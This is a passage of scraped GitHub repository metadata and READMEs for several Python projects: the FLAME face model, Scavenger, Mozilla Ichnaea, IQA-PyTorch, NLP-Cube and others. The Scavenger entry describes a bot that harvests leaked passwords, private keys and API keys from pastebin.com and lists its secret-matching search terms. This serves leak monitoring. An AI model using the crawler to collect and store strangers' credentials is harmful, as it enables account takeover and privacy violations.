pip version is up-to-date:\n```\npip install -U pip\n```\n\nSome requirements can be installed using:\n```\npip install -r requirements.txt\n```\n\nInstall mesh processing libraries from [MPI-IS/mesh](https://github.com/MPI-IS/mesh) within the virtual environment.\n\nThe scan-to-mesh distance used for fitting a scan depends on Eigen. Either download Eigen from [here](http://eigen.tuxfamily.org/index.php?title=Main_Page) OR clone the repository:\n```\ngit clone https://gitlab.com/libeigen/eigen.git\n```\nAfter downloading Eigen, you need to compile the code in the directory 'sbody/alignment/mesh_distance'. To do this go to the directory:\n```\ncd sbody/alignment/mesh_distance\n```\nEdit the file setup.py to set EIGEN_DIR to the location of Eigen. Then type:\n```\nmake\n```\n\n### Data\n\nTo download the FLAME model, sign up and agree to the model license under [MPI-IS/FLAME](https://flame.is.tue.mpg.de/downloads). Then run following script: \n```\n./fetch_FLAME.sh\n```\n\n### Demo\n\n * Load and evaluate FLAME model: `hello_world.py`\n * Fit FLAME to 3D landmarks: `fit_lmk3d.py`\n * Fit FLAME to a 3D scan: `fit_scan.py`\n\nFitting a scan requires scan and FLAME model to be in the same local coordiante systems. The `fit_scan.py` script provides different options by specifying the variable `scale_unit` to convert from Meters [m] (default), Centimeters [cm], or Milimieters [mm]. Please specify the right unit when running `fit_scan.py`. If the unit of the measurement unit is unknown, choose `scale_unit = 'NA'`.\n\n### Landmarks\n\n<p align=\"center\"> \n<img src=\"data/landmarks_51_annotated.png\" width=\"50%\">\n</p>\n\nThe provided demos fit FLAME to 3D landmarks or to a scan, using 3D landmarks for initialization and during fitting. Both demos use the shown 51 landmarks. Providing the landmarks in the exact order is essential. The landmarks can for instance be obtained with [MeshLab](https://www.meshlab.net/) using the PickPoints module. PickPoints outputs a .pp file containing the selected points. The .pp file can be loaded with the provided 'load_picked_points(fname)' function in fitting/landmarks.py.\n \n### Citing\n\nWhen using this code in a scientific publication, please cite FLAME \n```\n@article{FLAME:SiggraphAsia2017,\n  title = {Learning a model of facial shape and expression from {4D} scans},\n  author = {Li, Tianye and Bolkart, Timo and Black, Michael. J. and Li, Hao and Romero, Javier},\n  journal = {ACM Transactions on Graphics, (Proc. SIGGRAPH Asia)},\n  volume = {36},\n  number = {6},\n  year = {2017},\n  url = {https://doi.org/10.1145/3130800.3130813}\n}\n```\n\n### License\n\nThe FLAME model is under a Creative Commons Attribution license. By using this code, you acknowledge that you have read the terms and conditions (https://flame.is.tue.mpg.de/modellicense.html), understand them, and agree to be bound by them. If you do not agree with these terms and conditions, you must not use the code. You further agree to cite the FLAME paper when reporting results with this model.\n\n### Supported projects\n\nVisit the [FLAME-Universe](https://github.com/TimoBolkart/FLAME-Universe) for an overview of FLAME-based projects. \n\nFLAME supports several projects such as\n* [CoMA: Convolutional Mesh Autoencoders](https://github.com/anuragranj/coma)\n* [RingNet: 3D Face Shape and Expression Reconstruction from an Image without 3D Supervision](https://github.com/soubhiksanyal/RingNet)\n* [VOCA: Voice Operated Character Animation](https://github.com/TimoBolkart/voca)\n* [Expressive Body Capture: 3D Hands, Face, and Body from a Single Image](https://github.com/vchoutas/smplify-x)\n* [ExPose: Monocular Expressive Body Regression through Body-Driven Attention](https://github.com/vchoutas/expose)\n* [GIF: Generative Interpretable Faces](https://github.com/ParthaEth/GIF)\n* [DECA: Detailed Expression Capture and Animation](https://github.com/YadiraF/DECA)\n\nFLAME is part of [SMPL-X: : A new joint 3D model of the human body, face and hands together](https://github.com/vchoutas/smplx).\n\n### Acknowledgement\n\nCode in `smpl_webuser` originates from [SMPL Python code](http://smpl.is.tue.mpg.de/), and code in `sbody` originates from [SMALR](https://github.com/silviazuffi/smalr_online). We thank the authors for pushing these code packages. \n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "rndinfosecguy/Scavenger", "link": "https://github.com/rndinfosecguy/Scavenger", "tags": ["bot", "pastebin", "crawler", "osint", "credentials", "leaks", "python", "paste"], "stars": 508, "description": "Crawler (Bot) searching for credential leaks on paste sites.", "lang": "Python", "repo_lang": "", "readme": "# Scavenger - OSINT Bot - REWORKED\n\n---\n\n[bot in action](https://twitter.com/leak_scavenger)\n\n---\n\n[![Anurag's GitHub stats](https://github-readme-stats.vercel.app/api?username=rndinfosecguy)](https://github.com/anuraghazra/github-readme-stats)\n\n---\n\n## Intro\nJust the code of my OSINT bot searching for sensitive data leaks on paste sites.\n\nSearch terms:\n- credentials\n- private RSA keys\n- Wordpress configuration files\n- MySQL connect strings\n- onion links\n- SQL dumps\n- API keys\n- complete emails\n\nSearch terms can be customized. You can learn more about it in the configuration section.\n\n## Articles About Scavenger\n- https://jakecreps.com/2019/05/08/osint-collection-tools-for-pastebin/\n- https://jakecreps.com/2019/01/08/scavenger/\n- https://youtu.be/VCwiZ2dh17Q?t=51 (the bot is mentioned here)\n\n## Main Features\n\nFor pastebin.com the bot has two modes:\n- looking for sensitive data in the archive via scraping\n- looking for sensitive data by tracking users who publish leaks\n\nAdditional features:\n- customizable search terms\n- scan folders with text files for sensitive information\n\n## Configuration\n\n1. Delete the README.md files in every subfolder as they are only placeholders \n2. The bot searches for email:password combinations and other kinds sensitive data by default. If you want to add more search terms edit the __configs/searchterms.txt__ file or use the -3 switch in the control script\nDefault __configs/searchterms.txt__ configuration:\n```console\nmysqli_connect(\nBEGIN RSA PRIVATE KEY\nThe name of the database for WordPress\napiKey:\nReturn-Path:\ninsert into\nINSERT INTO\n.onion\n```\nIf you want to add other search terms just add them to file line by line.\nYou know a useful search terms which is missing here? Tell me! :-)\n3. For the user tracking module of pastebin.com you need to add the target users line by line to the __configs/users.txt__ file.\n\n## Usage\n\nProgram help:\n```console\n$ python3 scavenger.py -h\n\n  _________\n /   _____/ ____ _____ ___  __ ____   ____    ____   ___________\n \\_____  \\_/ ___\\\\__  \\\\  \\/ // __ \\ /    \\  / ___\\_/ __ \\_  __ \\\n /        \\  \\___ / __ \\\\   /\\  ___/|   |  \\/ /_/  >  ___/|  | \\/\n/_______  /\\___  >____  /\\_/  \\___  >___|  /\\___  / \\___  >__|\n        \\/     \\/     \\/          \\/     \\//_____/      \\/       Reworked\n\nusage: scavenger.py [-h] [-0] [-1] [-2] [-3] [-4]\n\ncontrol script\n\noptional arguments:\n  -h, --help           show this help message and exit\n  -0, --pbincom        Activate pastebin.com archive scraping module\n  -1, --pbincomTrack   Activate pastebin.com user tracking module\n  -2, --sensitivedata  Search a specific folder for sensitive data. This might\n                       be useful if you want to analyze some pastes which\n                       were not collected by the bot.\n  -3, --editsearch     Edit search terms file for additional search terms\n                       (email:password combinations will always be searched)\n  -4, --editusers      Edit user file of the pastebin.com user track module\n\nexample usage: python3 scavenger.py -0 -1\n```\n\nCrawled pastes are stored at different locations depending on their status.\n- Paste crawled but nothing was detected -> __data/raw_pastes__\n- Paste crawled and an email:password combination was detected -> __data/raw_pastes__ and __data/files_with_passwords__\n- Paste crawled and other sensitive data was detected -> __data/raw_pastes__ and __data/otherSensitivePastes__\n\nPastes get stored in data/raw_pastes until they reach a limit of 48000 files.\nOnce there are more then 48000 pastes they get ziped and moved to the archive folder.\n\n---\n\nStart the pastebin.com archive scraping module\n```console\n$ python3 scavenger.py -0\n```\nStart pastebin.com user tracking module\n```console\n$ python3 scavenger.py -1\n```\nWhen starting one of these modules, a tmux session with the running module is created in the background.\n\nList tmux sessions\n```console\n$ tmux ls\npastebincomArchive: 1 windows (created Sun Apr 14 06:33:32 2021) [204x58]\npastebincomTrack: 1 windows (created Sun Apr 14 06:33:32 2021) [204x58]\n```\nInteract with a tmux session example\n\n```console\n$ tmux a -t pastebincomArchive\n$ tmux a -t pastebincomTrack\n```\n\nTo detach from a session hit STRG+b d.\n\n---\n\nIf you want to start a module without using the control software you can do this by calling them directly.\n\nPastebin.com archive scraper\n```console\n$ python3 pbincomArchiveScrape.py\n```\n\nPastebin.com user tracker\n```console\n$ python3 pbincomTrackUser.py\n```\n\nSearch specific folder for sensitive data:\n```console\n$ python3 findSensitiveData.py TARGET_FOLDER\n```\n\n---\n\n## To Do\n\nIf you miss anything and want me to add features or make changes, just let me know via Twitter or GitHub issue :-)\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mozilla/ichnaea", "link": "https://github.com/mozilla/ichnaea", "tags": [], "stars": 508, "description": "Mozilla Ichnaea", "lang": "Python", "repo_lang": "", "readme": ".. image:: https://circleci.com/gh/mozilla/ichnaea.svg?style=svg\n    :target: https://circleci.com/gh/mozilla/ichnaea\n\n=======\nIchnaea\n=======\n\n``Ichnaea`` is an application that provides geolocation coordinates\nfrom other sources of data (Bluetooth, cell or WiFi networks, GeoIP, etc.).\n\nFor more information look at\n`the full docs <https://ichnaea.readthedocs.io/>`_.\n\nPlease use `our github tracker <https://github.com/mozilla/ichnaea/issues>`_\nto report issues.\n\n\nLicense\n=======\n\n``ichnaea`` is offered under the Apache License 2.0.\n", "readme_type": "rst", "hn_comments": "Previous discussion https://news.ycombinator.com/item?id=7142290<HN_SEP>I thought the existing html5 geolocation api used cell tower and wifi networks to get your location.<HN_SEP>The Mozilla location stuff has been around for a while now, and I've contributed a fair amount of data via their MozStumbler Android application for the past two or three months.  I realize it's an experiment, but there are a few problems I see with the data collection side of the project:\u2022 All data is uploaded anonymously, so I can't download or save the raw data I've collected.  This means I can't look at it except aggregated together with other users' data and fuzzed on a map Mozilla provides, I can't play with it, I can't upload it to other similar projects, etc.\u2022 In fact, nobody can download a dump of the data because of privacy concerns for data contributors and access point operators.  At best, you can consume a derivative of the data by using the location API.\u2022 In an attempt to protect the privacy of data contributors, Mozilla \"fuzzes\" acquired data before displaying it on their map.  Unfortunately, they've fuzzed the data to the point that I can't tell which streets I've already been on and which I haven't.  (Half of the fun of this was seeing things on streets I'd never been on before.)It's mildly tempting to fork MozStumbler and have it also upload the data I collect to a server I control, just so I have a copy of my data.  (In particular, it might be fun to throw together some code for algorithmically locating cell sites and access points, just to see how well I can make it work.)<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "chaofengc/IQA-PyTorch", "link": "https://github.com/chaofengc/IQA-PyTorch", "tags": ["iqa", "image-quality-assessment", "blind-image-quality-assessment", "pytorch", "python3", "pytorch-implementation"], "stars": 511, "description": "PyTorch Toolbox for Image Quality Assessment, including LPIPS, FID, NIQE, NRQM(Ma), MUSIQ, NIMA, DBCNN, WaDIQaM, BRISQUE, PI and more...", "lang": "Python", "repo_lang": "", "readme": "# PyTorch Toolbox for Image Quality Assessment\n\nAn IQA toolbox with pure python and pytorch. Please refer to [Awesome-Image-Quality-Assessment](https://github.com/chaofengc/Awesome-Image-Quality-Assessment) for a comprehensive survey of IQA methods, as well as download links for IQA datasets.\n\n<a href=\"https://colab.research.google.com/drive/14J3KoyrjJ6R531DsdOy5Bza5xfeMODi6?usp=sharing\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"google colab logo\"></a> \n[![PyPI](https://img.shields.io/pypi/v/pyiqa)](https://pypi.org/project/pyiqa/)\n![visitors](https://visitor-badge.laobi.icu/badge?page_id=chaofengc/IQA-PyTorch) \n[![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/chaofengc/Awesome-Image-Quality-Assessment)\n[![Citation](https://img.shields.io/badge/Citation-bibtex-green)](https://github.com/chaofengc/IQA-PyTorch/blob/main/README.md#bookmark_tabs-citation)\n\n![demo](demo.gif)\n\n- [:open_book: Introduction](#open_book-introduction)\n- [:zap: Quick Start](#zap-quick-start)\n  - [Dependencies and Installation](#dependencies-and-installation)\n  - [Basic Usage](#basic-usage)\n- [:hammer_and_wrench: Train](#hammer_and_wrench-train)\n  - [Dataset Preparation](#dataset-preparation)\n  - [Example Train Script](#example-train-script)\n- [:1st_place_medal: Benchmark Performances and Model Zoo](#1st_place_medal-benchmark-performances-and-model-zoo)\n  - [Results Calibration](#results-calibration)\n  - [Performance Evaluation Protocol](#performance-evaluation-protocol)\n  - [Benchmark Performance with Provided Script](#benchmark-performance-with-provided-script)\n \n## :open_book: Introduction\n\nThis is a image quality assessment toolbox with **pure python and pytorch**. We provide reimplementation of many mainstream full reference (FR) and no reference (NR) metrics (results are calibrated with official matlab scripts if exist). **With GPU acceleration, most of our implementations are much faster than Matlab.** Below are details of supported methods and datasets in this project.\n\n<details open>\n<summary>Supported methods and datasets:</summary>\n\n<table>\n<tr><td>\n\n| FR Method                | Backward           |\n| ------------------------ | ------------------ |\n| AHIQ                     | :white_check_mark: |\n| PieAPP                   | :white_check_mark: |\n| LPIPS                    | :white_check_mark: |\n| DISTS                    | :white_check_mark: |\n| WaDIQaM                  | :white_check_mark: |\n| CKDN<sup>[1](#fn1)</sup> | :white_check_mark: |\n| FSIM                     | :white_check_mark: |\n| SSIM                     | :white_check_mark: |\n| MS-SSIM                  | :white_check_mark: |\n| CW-SSIM                  | :white_check_mark: |\n| PSNR                     | :white_check_mark: |\n| VIF                      | :white_check_mark: |\n| GMSD                     | :white_check_mark: |\n| NLPD                     | :white_check_mark: |\n| VSI                      | :white_check_mark: |\n| MAD                      | :white_check_mark: |\n\n</td><td>\n\n| NR Method                    | Backward                 |\n| ---------------------------- | ------------------------ |\n| FID                          | :heavy_multiplication_x: |\n| CLIPIQA(+)                   | :white_check_mark:       |\n| MANIQA                       | :white_check_mark:       |\n| MUSIQ                        | :white_check_mark:       |\n| DBCNN                        | :white_check_mark:       |\n| PaQ-2-PiQ                    | :white_check_mark:       |\n| HyperIQA                     | :white_check_mark:       |\n| NIMA                         | :white_check_mark:       |\n| WaDIQaM                      | :white_check_mark:       |\n| CNNIQA                       | :white_check_mark:       |\n| NRQM(Ma)<sup>[2](#fn2)</sup> | :heavy_multiplication_x: |\n| PI(Perceptual Index)         | :heavy_multiplication_x: |\n| BRISQUE                      | :white_check_mark:       |\n| ILNIQE                       | :white_check_mark:       |\n| NIQE                         | :white_check_mark:       |\n\n<!-- | HOSA                         | :hourglass_flowing_sand: | -->\n\n</td><td>\n\n| Dataset          | Type         |\n| ---------------- | ------------ |\n| FLIVE(PaQ-2-PiQ) | NR           |\n| SPAQ             | NR/mobile    |\n| AVA              | NR/Aesthetic |\n| PIPAL            | FR           |\n| BAPPS            | FR           |\n| PieAPP           | FR           |\n| KADID-10k        | FR           |\n| KonIQ-10k(++)    | NR           |\n| LIVEChallenge    | NR           |\n| LIVEM            | FR           |\n| LIVE             | FR           |\n| TID2013          | FR           |\n| TID2008          | FR           |\n| CSIQ             | FR           |\n\n</td></tr>\n</table>\n\n<a name=\"fn1\">[1]</a> This method use distorted image as reference. Please refer to the paper for details.<br>\n<a name=\"fn2\">[2]</a> Currently, only naive random forest regression is implemented and **does not** support backward.\n\n</details>\n\n---\n\n### :triangular_flag_on_post: Updates/Changelog\n\n- **Sep 1, 2022**. 1) Add pretrained models for MANIQA and AHIQ. 2) Add dataset interface for pieapp and PIPAL.\n- **June 3, 2022**. Add FID metric. See [clean-fid](https://github.com/GaParmar/clean-fid) for more details.\n- **March 11, 2022**. Add pretrained DBCNN, NIMA, and official model of PieAPP, paq2piq.\n- [**More**](docs/history_changelog.md)\n\n---\n\n### :hourglass_flowing_sand: TODO List\n\n- :white_large_square: Add pretrained models on different datasets.\n\n---\n\n## :zap: Quick Start\n\n### Dependencies and Installation\n- Ubuntu >= 18.04\n- Python >= 3.8\n- Pytorch >= 1.10\n- CUDA >= 10.2 (if use GPU)\n```\n# Install with pip\npip install pyiqa\n\n# Install latest github version\npip uninstall pyiqa # if have older version installed already \npip install git+https://github.com/chaofengc/IQA-PyTorch.git\n\n# Install with git clone\ngit clone https://github.com/chaofengc/IQA-PyTorch.git\ncd IQA-PyTorch\npip install -r requirements.txt\npython setup.py develop\n```\n\n### Basic Usage \n\n```\nimport pyiqa\nimport torch\n\n# list all available metrics\nprint(pyiqa.list_models())\n\n# create metric with default setting\niqa_metric = pyiqa.create_metric('lpips', device=torch.device('cuda'))\n# Note that gradient propagation is disabled by default. set as_loss=True to enable it as a loss function.\niqa_loss = pyiqa.create_metric('lpips', device=torch.device('cuda'), as_loss=True)\n\n# create metric with custom setting\niqa_metric = pyiqa.create_metric('psnr', test_y_channel=True, color_space='ycbcr').to(device)\n\n# check if lower better or higher better\nprint(iqa_metric.lower_better)\n\n# example for iqa score inference\n# Tensor inputs, img_tensor_x/y: (N, 3, H, W), RGB, 0 ~ 1\nscore_fr = iqa_metric(img_tensor_x, img_tensor_y)\nscore_nr = iqa_metric(img_tensor_x)\n\n# img path as inputs.\nscore_fr = iqa_metric('./ResultsCalibra/dist_dir/I03.bmp', './ResultsCalibra/ref_dir/I03.bmp')\n\n# For FID metric, use directory or precomputed statistics as inputs\n# refer to clean-fid for more details: https://github.com/GaParmar/clean-fid\nfid_metric = pyiqa.create_metric('fid')\nscore = fid_metric('./ResultsCalibra/dist_dir/', './ResultsCalibra/ref_dir')\nscore = fid_metric('./ResultsCalibra/dist_dir/', dataset_name=\"FFHQ\", dataset_res=1024, dataset_split=\"trainval70k\")\n```\n\n\n#### Example Test script\n\nExample test script with input directory/images and reference directory/images. \n```\n# example for FR metric with dirs\npython inference_iqa.py -m LPIPS[or lpips] -i ./ResultsCalibra/dist_dir[dist_img] -r ./ResultsCalibra/ref_dir[ref_img]\n\n# example for NR metric with single image\npython inference_iqa.py -m brisque -i ./ResultsCalibra/dist_dir/I03.bmp\n```\n\n\n## :hammer_and_wrench: Train\n\n### Dataset Preparation\n\n- You only need to unzip downloaded datasets from official website without any extra operation. And then make soft links of these dataset folder under `datasets/` folder. Download links are provided in [Awesome-Image-Quality-Assessment](https://github.com/chaofengc/Awesome-Image-Quality-Assessment).\n- We provide common interface to load these datasets with the prepared meta information files and train/val/test split files, which can be downloaded from [download_link](https://github.com/chaofengc/IQA-PyTorch/releases/download/v0.1-weights/data_info_files.tgz) and extract them to `datasets/` folder.\n\nYou may also use the following commands:\n\n```\nmkdir datasets && cd datasets\n\n# make soft links of your dataset\nln -sf your/dataset/path datasetname\n\n# download meta info files and train split files\nwget https://github.com/chaofengc/IQA-PyTorch/releases/download/v0.1-weights/data_info_files.tgz\ntar -xvf data_info_files.tgz\n```\n\nExamples to specific dataset options can be found in `./options/default_dataset_opt.yml`. Details of the dataloader inferface and meta information files can be found in [Dataset Preparation](docs/Dataset_Preparation.md)\n\n### Example Train Script\n\nExample to train DBCNN on LIVEChallenge dataset\n```\n# train for single experiment\npython pyiqa/train.py -opt options/train/DBCNN/train_DBCNN.yml\n\n# train N splits for small datasets\npython pyiqa/train_nsplits.py -opt options/train/DBCNN/train_DBCNN.yml\n```\n\n## :1st_place_medal: Benchmark Performances and Model Zoo\n\n### Results Calibration\n\nPlease refer to the [results calibration](./ResultsCalibra/ResultsCalibra.md) to verify the correctness of the python implementations compared with official scripts in matlab or python.\n\n### Performance Evaluation Protocol\n\n**We use official models for evaluation if available.** Otherwise, we use the following settings to train and evaluate different models for simplicity and consistency:\n\n| Metric Type   | Train     | Test                                       | Results                                                  |\n| ------------- | --------- | ------------------------------------------ | -------------------------------------------------------- |\n| FR            | KADID-10k | CSIQ, LIVE, TID2008, TID2013               | [FR benchmark results](tests/FR_benchmark_results.csv)   |\n| NR            | KonIQ-10k | LIVEC, KonIQ-10k (official split), TID2013 | [NR benchmark results](tests/NR_benchmark_results.csv)   |\n| Aesthetic IQA | AVA       | AVA (official split)                       | [IAA benchmark results](tests/IAA_benchmark_results.csv) |\n\nBasically, we use the largest existing datasets for training, and cross dataset evaluation performance for fair comparison. The following models do not provide official weights, and are retrained by our scripts:\n\n| Metric Type   | Model Names              |\n| ------------- | ------------------------ |\n| FR            |                          |\n| NR            | `cnniqa`, `dbcnn`        |\n| Aesthetic IQA | `nima`, `nima-vgg16-ava` |\n\nNotes:\n- Due to optimized training process, performance of some retrained approaches may be higher than original paper.\n- Results of KonIQ-10k, AVA are both tested with official split.\n- NIMA is only applicable to AVA dataset now. We use `inception_resnet_v2` for default `nima`.\n- MUSIQ is not included in the IAA benchmark because we do not have train/split information of the official model.\n\n### Benchmark Performance with Provided Script\n\nHere is an example script to get performance benchmark on different datasets:\n```\n# NOTE: this script will test ALL specified metrics on ALL specified datasets\n# Test default metrics on default datasets\npython benchmark_results.py -m psnr ssim -d csiq tid2013 tid2008\n\n# Test with your own options\npython benchmark_results.py -m psnr --data_opt options/example_benchmark_data_opts.yml\n\npython benchmark_results.py --metric_opt options/example_benchmark_metric_opts.yml tid2013 tid2008\n\npython benchmark_results.py --metric_opt options/example_benchmark_metric_opts.yml --data_opt options/example_benchmark_data_opts.yml\n```\n\n## :beers: Contribution\n\nAny contributions to this repository are greatly appreciated. Please follow the [contribution instructions](docs/Instruction.md) for contribution guidance.\n\n## :scroll: License\n\nThis work is licensed under a [NTU S-Lab License](https://github.com/chaofengc/IQA-PyTorch/blob/main/LICENSE_NTU-S-Lab) and <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a>\n\n## :bookmark_tabs: Citation\n\nIf you find our codes helpful to your research, please consider to use the following citation:\n\n```\n@misc{pyiqa,\n  title={{IQA-PyTorch}: PyTorch Toolbox for Image Quality Assessment},\n  author={Chaofeng Chen and Jiadi Mo},\n  year={2022},\n  howpublished = \"[Online]. Available: \\url{https://github.com/chaofengc/IQA-PyTorch}\"\n}\n```\n\n## :heart: Acknowledgement\n\nThe code architecture is borrowed from [BasicSR](https://github.com/xinntao/BasicSR). Several implementations are taken from: [IQA-optimization](https://github.com/dingkeyan93/IQA-optimization), [Image-Quality-Assessment-Toolbox](https://github.com/RyanXingQL/Image-Quality-Assessment-Toolbox), [piq](https://github.com/photosynthesis-team/piq), [piqa](https://github.com/francois-rozet/piqa), [clean-fid](https://github.com/GaParmar/clean-fid)\n\nWe also thanks the following public repositories: [MUSIQ](https://github.com/google-research/google-research/tree/master/musiq), [DBCNN](https://github.com/zwx8981/DBCNN-PyTorch), [NIMA](https://github.com/kentsyx/Neural-IMage-Assessment), [HyperIQA](https://github.com/SSL92/hyperIQA), [CNNIQA](https://github.com/lidq92/CNNIQA), [WaDIQaM](https://github.com/lidq92/WaDIQaM), [PieAPP](https://github.com/prashnani/PerceptualImageError), [paq2piq](https://github.com/baidut/paq2piq), [MANIQA](https://github.com/IIGROUP/MANIQA) \n\n## :e-mail: Contact\n\nIf you have any questions, please email `chaofenghust@gmail.com`\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "hjacobs/kube-downscaler", "link": "https://github.com/hjacobs/kube-downscaler", "tags": ["kubernetes", "scaling"], "stars": 508, "description": "Scale down Kubernetes deployments after work hours", "lang": "Python", "repo_lang": "", "readme": "Moved to https://codeberg.org/hjacobs/kube-downscaler\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "chris-lovejoy/YouTube-video-finder", "link": "https://github.com/chris-lovejoy/YouTube-video-finder", "tags": [], "stars": 508, "description": "A tool to intentionally discover valuable videos", "lang": "Python", "repo_lang": "", "readme": "# Valuable-YouTube-Video-Finder\n\n## The project\nThe purpose of this project is to enable users to find valuable YouTube videos of their interest independent of YouTube's recommendation system. For a more detailed explanation of the project, it's purpose and how it was made, see this [post on Medium](https://towardsdatascience.com/i-created-my-own-youtube-algorithm-to-stop-me-wasting-time-afd170f4ca3a).\n\n## Setup\n\n### YouTube-API-Key\nYou will need to acquire a YouTube v3 API key, which you can do so easily [here](https://console.developers.google.com/cloud-resource-manager). A helpful video outlining the process can be found [here](https://www.youtube.com/watch?v=-QMg39gK624). After obtaining the API key, enter it as a string into the [config.yaml file](https://github.com/chris-lovejoy/YouTube-video-finder/blob/master/config.yaml).\n\n### Packages\nAll requirements are contained within [requirements.txt](https://github.com/chris-lovejoy/YouTube-video-finder/blob/master/requirements.txt).\n\nTo install them, execute the following from the root directory:\n```\npip install -r requirements.txt\n```\n\n## Execution\nAfter configuring config.yaml and installing requirements, the function can be executed from the command line using:\n\n```\npython3 main.py 'search term 1' 'search term 2'\n```\n\nThe default search period is 7 days, but this can be modified with the '--search-period' argument.\n\nFor example:\n\n```\npython3 main.py 'machine learning' 'medical school' --search-period 10\n```\n\nThis will call the [**main.py function**](https://github.com/chris-lovejoy/YouTube-video-finder/blob/master/main.py) and output will be printed into the console.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "adobe/NLP-Cube", "link": "https://github.com/adobe/NLP-Cube", "tags": ["embeddings", "parse", "nlp-cube", "language-pipeline", "tokenization", "sentence-splitting", "part-of-speech-tagger", "lemmatization", "dependency-parser", "dependency-parsing", "universal-dependencies", "machine-translation", "information-extraction"], "stars": 509, "description": "Natural Language Processing Pipeline - Sentence Splitting, Tokenization, Lemmatization, Part-of-speech Tagging and Dependency Parsing", "lang": "Python", "repo_lang": "", "readme": "[![Downloads](https://pepy.tech/badge/nlpcube)](https://pepy.tech/project/nlpcube) [![Downloads](https://pepy.tech/badge/nlpcube/month)](https://pepy.tech/project/nlpcube/month) ![Weekly](https://img.shields.io/pypi/dw/nlpcube.svg) ![daily](https://img.shields.io/pypi/dd/nlpcube.svg)\n![Version](https://badge.fury.io/py/nlpcube.svg) [![Python 3](https://img.shields.io/badge/python-3-blue.svg)](https://www.python.org/downloads/release/python-360/) [![GitHub stars](https://img.shields.io/github/stars/adobe/NLP-Cube.svg?style=social&label=Star&maxAge=2592000)](https://github.com/adobe/NLP-Cube/stargazers/)\n\n## News\n**[05 August 2021]** - We are releasing version 3.0 of NLPCube and models and introducing [FLAVOURS](#flavours). This is a major update, but we did our best to maintain the same API, so previous implementation will not crash. The supported language list is smaller, but you can open an issue for unsupported languages, and we will do our best to add them. Other options include fixing the pip package version 1.0.8 ```pip install nlpcube==0.1.0.8```. \n\n**[15 April 2019]** - We are releasing version 1.1 models - check all [supported languages below](#languages). Both 1.0 and 1.1 models are trained on the same [UD2.2 corpus](http://hdl.handle.net/11234/1-2837); however, models 1.1 do not use vector embeddings, thus reducing disk space and time required to use them. Some languages actually have a slightly increased accuracy, some a bit decreased. By default, NLP Cube will use the latest (at this time) 1.1 models.\n\nTo use the older 1.0 models just specify this version in the ``load`` call: ``cube.load(\"en\", 1.0)`` (``en`` for English, or any other language code). This will download (if not already downloaded) and use _this_ specific model version. Same goes for any language/version you want to use.\n\nIf you already have NLP Cube installed and **want to use the newer 1.1 models**, type either ``cube.load(\"en\", 1.1)`` or ``cube.load(\"en\", \"latest\")`` to auto-download them. After this, calling ``cube.load(\"en\")`` without version number will automatically use the latest ones from your disk.\n\n<hr>\n\n# NLP-Cube\n\nNLP-Cube is an opensource Natural Language Processing Framework with support for languages which are included in the [UD Treebanks](http://universaldependencies.org/) (list of all available languages below). Use NLP-Cube if you need:\n* Sentence segmentation\n* Tokenization\n* POS Tagging (both language independent (UPOSes) and language dependent (XPOSes and ATTRs))\n* Lemmatization\n* Dependency parsing\n\nExample input: **\"This is a test.\"**, output is: \n```\n1       This    this    PRON    DT      Number=Sing|PronType=Dem        4       nsubj   _\n2       is      be      AUX     VBZ     Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin   4       cop     _\n3       a       a       DET     DT      Definite=Ind|PronType=Art       4       det     _\n4       test    test    NOUN    NN      Number=Sing     0       root    SpaceAfter=No\n5       .       .       PUNCT   .       _       4       punct   SpaceAfter=No\n```\n\n**If you just want to run it**, here's how to set it up and use NLP-Cube in a few lines: [Quick Start Tutorial](examples/1.%20NLP-Cube%20Quick%20Tutorial.ipynb).\n\nFor **advanced users that want to create and train their own models**, please see the Advanced Tutorials in ``examples/``, starting with how to [locally install NLP-Cube](examples/2.%20Advanced%20usage%20-%20NLP-Cube%20local%20installation.ipynb).\n\n## Simple (PIP) installation / update version\n\nInstall (or update) NLP-Cube with:\n\n```bash\npip3 install -U nlpcube\n```\n### API Usage \n\nTo use NLP-Cube ***programmatically** (in Python), follow [this tutorial](examples/1.%20NLP-Cube%20Quick%20Tutorial.ipynb)\nThe summary would be:\n```python\nfrom cube.api import Cube       # import the Cube object\ncube=Cube(verbose=True)         # initialize it\ncube.load(\"en\", device='cpu')   # select the desired language (it will auto-download the model on first run)\ntext=\"This is the text I want segmented, tokenized, lemmatized and annotated with POS and dependencies.\"\ndocument=cube(text)            # call with your own text (string) to obtain the annotations\n```\nThe ``document`` object now contains the annotated text, one sentence at a time. To print the third words's POS (in the first sentence), just run:\n```\nprint(document.sentences[0][2].upos) # [0] is the first sentence and [2] is the third word\n```\nEach token object has the following attributes: ``index``, ``word``, ``lemma``, ``upos``, ``xpos``, ``attrs``, ``head``, ``label``, ``deps``, ``space_after``. For detailed info about each attribute please see the standard CoNLL format.\n\n### Flavours\n\nPrevious versions on NLP-Cube were trained on individual treebanks. This means that the same language was supported by \nmultiple models at the same time. For instance, you could parse English (en) text with `en_ewt`, `en_esl`, `en_lines`, \netc. The current version of NLPCube combines all flavours of a treebank under the same umbrella, by jointly optimizing\na conditioned model. You only need to load the base language, for example `en` and then select which flavour to apply\nat runtime:\n\n```text\nfrom cube.api import Cube       # import the Cube object\ncube=Cube(verbose=True)         # initialize it\ncube.load(\"en\", device='cpu')   # select the desired language (it will auto-download the model on first run)\ntext=\"This is the text I want segmented, tokenized, lemmatized and annotated with POS and 